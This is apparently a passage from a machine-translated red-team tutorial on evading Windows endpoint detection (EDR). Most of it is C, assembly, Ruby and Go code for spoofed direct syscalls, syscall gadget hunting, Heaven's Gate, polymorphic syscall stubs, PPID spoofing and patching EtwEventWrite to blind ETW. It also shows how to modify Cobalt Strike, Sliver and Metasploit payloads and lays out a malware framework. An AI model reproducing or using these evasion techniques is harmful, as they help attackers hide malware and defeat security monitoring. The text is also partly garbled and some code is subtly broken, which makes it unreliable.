7.1. Detect on anomalies in the execution stream
Modern EDRs use hardware breakpoints and Execution Tracing. Theycan track where the syscalll call comes from.
Problem:When you call syscal from your code, the RIP (Instruction Pointer)registry points to the memory area that:
- It does not belong to the well-known system module (ndll.dll).
- Often in the region with PAGE_EXECUTE_READWRITE (suspicious in itself).
- Does not have the correct structure of the function (there is no prologue mov r10, rcx, there may be no epilogue).
Solution 1: Return Address Spoofing (substitution of the returnaddress)
Idea: to make sure that at the entrance to thenucleus, in the return stack there was an address inside ntdll.dll.This will deceive the detects that check the chain of calls.
C:
// Example for x64 using the built-in assembler
NTSTATUS SpoofedNtAllocateVirtualMemory(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect,
DWORD ssn) {
NTSTATUS status = 0;
PVOID fakeReturnAddress = GetAddressInsideNtdll(); // Find the retaddress inside ntdll
__asm {
// Save the involuntary registers
push rbx
push rsi
push rdi
// Prepare arguments
mov r10, rcx
mov rcx, ProcessHandle
mov rdx, BaseAddress
mov r8, ZeroBits
mov r9, RegionSize
// Push arguments 5 and 6 onto the stack
mov rax, AllocationType
mov [rsp+32], rax
mov rax, Protect
mov [rsp+40], rax
// Override the return address
push fakeReturnAddress // Push the fake return address
// Call
mov eax, ssn
syscall
// After the syscall, we won’t return here, but to ntdll
// Therefore, the following code won’t execute directly
add rsp, 8 // Clear fakeReturnAddress from the stack
mov status, eax
pop rdi
pop rsi
pop rbx
}
return status;
}
Important: This method requires a deep understanding of the workof the stack. Improper manipulation of the stack will lead tocollapse.
Decision 2: Jump Oriented Syscal (JOP)
Insteadof direct call syscall, we use a chain of jmp gadgets insidentdll.dll, which will eventually lead to the execution of syscal.
C:
PVOID FindSyscallGadget() {
// Search ntdll.dll for the sequence:
// jmp [mem] or call [mem], which points to a syscall
// Or even: mov eax, SSN; jmp [syscall_address]
HMODULE hNtdll = GetModuleHandleA(“ntdll.dll”);
PBYTE base = (PBYTE)hNtdll;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(base +((PIMAGE_DOS_HEADER)base)->e_lfanew);
DWORD textSize = ntHeaders->OptionalHeader.SizeOfCode;
PBYTE textStart = base + ntHeaders->OptionalHeader.BaseOfCode;
for (DWORD i = 0; i < textSize - 20; i++) {
// Search for jmp/call with indirect addressing
if ((textStart == 0xFF && (textStart[i+1] == 0x25 ||textStart[i+1] == 0x15)) || // jmp/call [mem]
(textStart == 0x48 && textStart[i+1] == 0xFF &&textStart[i+2] == 0x25)) { // jmp qword ptr [rip+offset]
// Check if this jump leads to a syscall
PVOID possibleTarget = ResolveIndirectJump(textStart + i);
if (IsAddressWithinSyscall(possibleTarget)) {
return textStart + i;
}
}
}
return NULL;
}
Solution 3: Heaven's Gate (WoW64 Transition)
For 32-bitprocesses on 64-bit Windows (WoW64), there is a "gateway to sky"- a transition from 32-bit mode to 64-bit mode. Some EDRs hop only32-bit calls, but do not follow the 64-bit ones.
Code:
; 32-bit code
heavens_gate:
push 0x33 ; Selector for 64-bit code
call @f
db 0xEA ; Byte for far jump
dd offset @f ; Offset
dw 0x33 ; Selector
@@:
; Now we are in 64-bit mode
; We can execute a 64-bit syscall
mov eax, SSN
syscall
; Return to 32-bit mode
push 0x23 ; 32-bit code selector
push offset @back
retf
@back:
; Continuation of 32-bit code
It’s an exoticmethod, but it shows that there are always alternative paths.
7.2. Detect on anomalies in the SSDT (Kernel Side)
More advanced EDRs can verify the integrity of the system calltable (SSDT) in the kernel. If the EDR driver sees that some processcauses syscall, which is not in the SSDT (or with the wrong SSN), itwill be a flag.
Bypass:
- Correct SSN: Always use the current SSN for the target system.
- Do not use outdated/undocumented syscal: For example, NtSystemDebugControl is rarely used by legitimate software.
- Imitation of legitimate challenges: Call syscal with parameters that are typical for legitimate software.
7.3. Syscall Detect Execution Time
EDR can measure the syscall runtime. If the call is executed tooquickly (because there are no hooks) or too slowly (because there isan additional logic of the detect), it can be aflag.
Countermeasures:
- Adding Delays: Use NtDelayExecution with small random intervals before critical calls.
- Call garbage syscall: Create a "noise" by calling legitimate syscal between critical operations.
C:
// Function to add a random delay
VOID AddJitter() {
LARGE_INTEGER interval;
interval.QuadPart = -(10000 * (10 + rand() % 50)); // 10–60 msin 100-nanosecond increments
NtDelayExecution(FALSE, &interval);
}
// Usage
AddJitter();
status = NtAllocateVirtualMemory(...);
AddJitter();
7.4. Memory pattern detect (code signatures)
EDR scans process memory for the presence of known signatures. Fordirect syscals typical signatures:
- MOV EAX, <SSN> (B8 ?? ?? ?? ??)
- MOV R10, RCX (4C 8B D1 or 49 8B D1)
- SYSCALL (0F 05)
- Combination of the above
Oceans on the fly:
C:
// Generate a unique sequence for each call
PBYTE GenerateObfuscatedSyscall(DWORD ssn) {
// Allocate executable memory
PBYTE buffer = (PBYTE)VirtualAlloc(NULL, 64, MEM_COMMIT,PAGE_EXECUTE_READWRITE);
// Generate random code
PBYTE p = buffer;
// Option 1: MOV EAX, SSN via PUSH/POP
*p++ = 0x68; // PUSH imm32
*((PDWORD)p) = ssn; p += 4;
*p++ = 0x58; // POP EAX
// Option 2: MOV R10, RCX via register swap
*p++ = 0x49; // REX.W
*p++ = 0x87; // XCHG
*p++ = 0xCA; // RDX, RCX (but ultimately needs to be in R10)
// Add dummy instructions
if (rand() % 2) {
*p++ = 0x90; // NOP
*p++ = 0x48; // DEC EAX (dummy)
*p++ = 0x48;
}
// SYSCALL
*p++ = 0x0F;
*p++ = 0x05;
// RET
*p++ = 0xC3;
return buffer;
}
// Usage
PBYTE syscallStub = GenerateObfuscatedSyscall(ssn);
NTSTATUS status = ((NTSTATUS (*)(...))syscallStub)(args...);
VirtualFree(syscallStub, 0, MEM_RELEASE);
Disadvantage:Isolation of the memory of the executable is suspicious every time.It is better to have a pool of pre-generated staff.
8. Integration with existing frameworks. Details.
8.1. Cobalt Strike: Aggressor Script and Artifact Kit
Cobalt Strike already has some mechanisms for direct syscall viaBeacon's "syscall" module, but it is limited. Here's how toimprove:
A. Modification Artifact Kit (for EXE/DLL):
- Download Artifact Kit from Cobalt Strike.
- In src-common/common.c find the patchme function - this is the point of entry for patches.
- Add your code for direct syscall:
C:
// Insert into common.c
#ifdef DIRECT_SYSCALLS
#include “syscalls.h” // Header generated by SysWhispers3
// Override critical functions
BOOL WINAPI MyVirtualAlloc(...) {
// Use direct syscalls
return (BOOL)NtAllocateVirtualMemory(...);
}
// Patching the IAT (Import Address Table)
void PatchIAT(HMODULE module) {
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)module;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)module +dosHeader->e_lfanew);
PIMAGE_IMPORT_DESCRIPTOR importDesc =(PIMAGE_IMPORT_DESCRIPTOR)((PBYTE)module +
ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
for (; importDesc->Name; importDesc++) {
if (_stricmp((char*)module + importDesc->Name, “KERNEL32.dll”)== 0) {
PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)((PBYTE)module +importDesc->FirstThunk);
for (; thunk->u1.Function; thunk++) {
if ((ULONG_PTR)thunk->u1.Function ==(ULONG_PTR)GetProcAddress(GetModuleHandleA(“kernel32.dll”),“VirtualAlloc”)) {
// Replace the address with our function
DWORD oldProtect;
VirtualProtect(&thunk->u1.Function, sizeof(ULONG_PTR),PAGE_READWRITE, &oldProtect);
thunk->u1.Function = (ULONG_PTR)MyVirtualAlloc;
VirtualProtect(&thunk->u1.Function, sizeof(ULONG_PTR),oldProtect, &oldProtect);
}
}
}
}
}
#endif
Reassemble the artifacts.
B. Aggressor Script for dynamic loading:
C:
// syscall_loader.cna
sub syscall_load {
local(‘$handle $data $offset $length’);
# Read the RAW binary file with direct syscalls
$handle = openf(script_resource(“syscall.bin”));
$data = readb($handle, -1);
closef($handle);
# Load into Beacon
$offset = 0;
$length = strlen($data);
while ($offset < $length) {
$chunk = substr($data, $offset, 4096);
beacon_inline_execute($chunk);
$offset += 4096;
sleep(1000); # Pause between chunks
}
btask($bid, “Syscall module loaded”);
}
beacon_command_register(
“syscall-load”,
“Load direct syscall module”,
“Usage: syscall-load”,
&syscall_load
);
8.2. Sliver: Native Support and customization
Sliver has built-in support for direct syscall via implants. Whenthe implant is generated, you can specify:
Embossing of the implant:sliver > generate implant --os windows --arch amd64 --format shellcode --syscalls
- The original Sliver code is open. You can modify implant/sliver/syscalls/syscall_windows.go.
- Add your obfuscation methods on Go :
Code:
// In syscall_windows.go
// 3. Using jump gadgets
return 0
}
type SyscallWrapper struct {
SSN uint16
GadgetAddr uintptr
Obfuscated bool
}
func (s *SyscallWrapper) Call(args ...uintptr) uintptr {
if s.Obfuscated {
return s.CallObfuscated(args...)
}
return s.CallDirect(args...)
}
func (s *SyscallWrapper) CallObfuscated(args ...uintptr) uintptr {
// 1. Implementation of an obfuscatedcall
// 2. Register scrambling
// 3. Adding dummy instructions
8.3. Metasploit: Custom extensions
For Metasploit you can write custom pelodod on Ruby:
Ruby:
# modules/payloads/windows/x64/syscall_meterpreter.rb
module MetasploitModule
include Msf:ayload::Windows::SyscallMeterpreter
def initialize(info = {})
super(update_info(info,
‘Name’ => ‘Windows x64 Syscall Meterpreter’,
'Description' => ‘Meterpreter payload using direct syscalls’,
‘Author’ => [ ‘null_ptr’ ],
‘Platform’ => ‘win’,
‘Arch’ => ARCH_X64,
‘PayloadCompat’ => { ‘Convention’ => ‘sockrdi’ }
))
end
def generate(opts = {})
# Generate shellcode with direct syscalls
shellcode = super
# Add string encryption
encrypt_strings(shellcode)
# Add obfuscation
obfuscate_syscalls(shellcode)
shellcode
end
end
8.4. Your own framework: why not
If you are seriously engaged in red team, sooner or later come tocreate your tool. Advantages:
- Full control over all components.
- There are no public signatures.
- Possibility of fine-tuning for each operation.
Structure of the minimum framework:
Code:
/redframework
/syscalls
resolver.c # Dynamic SSN lookup
gate.c # Hell's/Halo's Gate implementations
obfuscator.c # Call obfuscation
/injection
apc.c # APC injection
thread.c # Thread creation
map.c # Manual DLL mapping
/evasion
etw.c # Disabling ETW
callback.c # Working with kernel callbacks
ppid.c # PPID spoofing
/payloads
meterpreter.c # Adapter for Meterpreter
cobaltstrike.c # Adapter for Cobalt Strike
custom.c # Custom payloads
/communication
http.c # HTTP communication
dns.c # DNS tunneling
smb.c # SMB channel
9. Clamps: When userland-skillers are notenough.
9.1. Kernel Callbacks - Achilles Heel EDR
EDRs use kernel callbacks to receive event notifications. The maintypes:
- Process Creation (PssSetCreateProcessNotifyRoutineEx) - creation of the process.
- Thread Creation (PsSetCreateTreadNotificaoutine) - creation of flow.
- Image Load (PssetLoadImageNotifyTanitine) - image load (DL/EXE).
- Registry (CmRegisterCallback) - registry transactions.
- File System (MiniFilter) - operations with files.
- Object Manager (ObRegisterCallbacks) - work with objects (processes, streams).
Bypassing through the removal of callbacks:
Theoretically,you can find and remove callback and EDR from the correspondingarrays in the nucleus. But this is:
- Requires administrator rights (and often disconnected DSE).
- Extremely unstable (may cause BSOD).
- Easily detectable by the EDR itself (checking the integrity of its callbacks).
A more elegant method: a substitute for context
Insteadof removing callbacks, you can make your actions look legitimate:
C:
// Parent Process ID Spoofing (PPID Spoofing)
BOOL SpoofParentProcess(DWORD targetPid) {
PROCESS_BASIC_INFORMATION pbi;
NTSTATUS status = NtQueryInformationProcess(
GetCurrentProcess(),
ProcessBasicInformation,
&pbi,
sizeof(pbi),
NULL);
// Change InheritedFromUniqueProcessId in the target process's PEB
HANDLE hTarget = OpenProcess(PROCESS_VM_WRITE |PROCESS_VM_OPERATION, FALSE, targetPid);
PPEB remotePeb;
status = NtQueryInformationProcess(
hTarget,
ProcessBasicInformation,
&pbi,
sizeof(pbi),
NULL);
remotePeb = pbi.PebBaseAddress;
// Write the new PPID (e.g., explorer.exe)
DWORD newPpid = GetProcessIdByName(“explorer.exe”);
WriteProcessMemory(hTarget,&remotePeb->ProcessParameters->ParentProcessId, &newPpid,sizeof(newPpid), NULL);
CloseHandle(hTarget);
return TRUE;
9.2. ETW and ETWTI: how to close the mouthsystem
Event Tracing for Windows (ETW) is the main source of informationfor EDR. Especially dangerous is ETW Threat Intelligence (ETWTI),which is logging by syscal.
Methods of neutralization ETW:
A. Patchin ntdll! EtwEventWrite:
C:
BOOL PatchETW() {
HMODULE hNtdll = GetModuleHandleA(“ntdll.dll”);
if (!hNtdll) return FALSE;
FARPROC pEtwEventWrite = GetProcAddress(hNtdll, “EtwEventWrite”);
if (!pEtwEventWrite) return FALSE;
DWORD oldProtect;
if (!VirtualProtect(pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE,&oldProtect)) {
return FALSE;
}
// Patch to ret (0xC3) or ret 0 (0xC2 0x00 0x00)
#ifdef _WIN64
// For x64: mov eax, 0; ret
BYTE patch[] = { 0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3 };
#else
// For x86: xor eax, eax; ret
BYTE patch[] = { 0x33, 0xC0, 0xC3 };
#endif
memcpy(pEtwEventWrite, patch, sizeof(patch));
VirtualProtect(pEtwEventWrite, 1, oldProtect, &oldProtect);
return TRUE;
}
B. Disabling ETW via Patching in process memory:
A moresecretive method is to find ETW structures in memory and “spoil”them.
C:
typedef struct _ETW_REG_ENTRY {
LIST_ENTRY RegList;
PVOID Unknown[4];
PVOID Callback; // Callback function
} ETW_REG_ENTRY, *PETW_REG_ENTRY;
BOOL DisableETWTracing() {
// 1. Find EtwNotificationRegister in ntdll
HMODULE hNtdll = GetModuleHandleA(“ntdll.dll”);
PVOID pEtwNotificationRegister = GetProcAddress(hNtdll,“EtwNotificationRegister”);
// 2. Search its code for references to the global variablecontaining the list of registrations
// (This requires reverse engineering and depends heavily on theWindows version)
// 3. Iterate through the list and set Callback to zero or replaceit with our own dummy function
return TRUE;
}
V. Use of undocumented functions:
C:
// NtTraceControl can be used to manage ETW
typedef NTSTATUS (NTAPI *pNtTraceControl)(
ULONG FunctionCode,
PVOID InBuffer,
ULONG InBufferLen,
PVOID OutBuffer,
ULONG OutBufferLen,
PULONG ReturnLength);
BOOL DisableETWViaTraceControl() {
HMODULE hNtdll = GetModuleHandleA(“ntdll.dll”);
pNtTraceControl NtTraceControl =(pNtTraceControl)GetProcAddress(hNtdll, “NtTraceControl”);
// FunctionCode = 0x1D (EVENT_TRACE_CONTROL_STOP) to stop thesession
// You need to know the SessionHandle
// This is difficult and requires reverse engineering
return FALSE;
}
9.3. Disadvantages of work in the core
- Stability: Any error in the kernel = BSOD (blue screen).
- Detect: PatchGuard (Kernel Patch Protection) in Windows 64-bit detects modifications of critical kernel structures.
- Driver Signature: Signed Driver (or disabled DSE) is required), which is difficult in modern systems.
- Antichitting: EDR can have their drivers that monitor the integrity of the kernel.
Recommendation: For most red team operations, a userlandtechnician is enough. The nucleus should be addressed only in specialcases and in the presence of deep knowledge.